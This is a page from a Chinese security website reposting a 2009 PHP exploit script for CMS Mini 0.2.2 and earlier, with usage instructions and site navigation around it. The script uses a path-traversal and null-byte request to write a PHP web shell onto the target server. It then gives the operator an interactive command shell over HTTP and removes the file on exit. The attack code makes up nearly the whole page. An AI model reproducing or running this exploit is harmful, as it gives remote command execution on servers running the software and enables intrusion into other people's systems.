首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CMS Mini <= 0.2.2 Remote Command Execution Exploit
来源:http://darkjoker.net23.net 作者:darkjoker 发布时间:2009-02-03  
--+++================================================================+++--
--+++====== CMS Mini <= 0.2.2 Remote Command Execution Exploit ======+++--
--+++================================================================+++--

<?php

function usage ()
{
exit (
"\nCMS Mini <= 0.2.2 Remote Command Execution Exploit".
"\n[+] Author  : darkjoker".
"\n[+] Site    : http://darkjoker.net23.net".
"\n[+] Download: http://ovh.dl.sourceforge.net/sourceforge/cmsmini/cmsmini-0.2.2.tar.gz".
"\n[+] Usage   : php xpl.php <hostname> <path>".
"\n[+] Ex.     : php xpl.php localhost /CMSmini".
"\n\n");
}

if ($argc != 3)
usage;
$hostname = $argv [1];
$path = $argv [2];
$fp = fsockopen ($hostname, 80);
$post = "message=<? system (\$_GET ['cmd']); die ();?>";
$request = "POST {$path}/view/index.php?op=guestbook&path=..&p=file.php%00 HTTP/1.1\r\n".
   "Host: $hostname\r\n".
   "Connection: Close\r\n".
   "Content-Type: application/x-www-form-urlencoded\r\n".
   "Content-Length: " . strlen ($post) . "\r\n\r\n".
   $post;
fputs ($fp, $request);
fclose ($fp);
$stdin = fopen("php://stdin", "r");
while (1)
{
echo "$ ";
$cmd = str_replace (" ", "%20", trim (fgets ($stdin, 1024)));
if ($cmd == "exit")
{
file_get_contents ("http://{$hostname}{$path}/file.php?cmd=rm%20file.php");
break;
}
echo file_get_contents ("http://{$hostname}{$path}/file.php?cmd={$cmd}");

}
fclose ($stdin);
?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpBLASTER 1.0 RC1 (blaster_us
·eVision CMS 2.0 Remote Code Ex
·RealVNC 4.1.2 (vncviewer.exe)
·phpslash <= 0.8.1.1 Remote Cod
·Elecard AVC HD PLAYER (m3u/xpl
·OpenHelpDesk 1.0.100 eval() Co
·Flatnux 2009-01-27 (Job fields
·KIS 2008 and Kaspersky AntiVir
·Small HTTP Server <= 3.05.85 D
·CMS from Scratch <= 1.9.1 (fck
·Free Download Manager <= 3.0 B
·Php168 v2008 权限提升漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved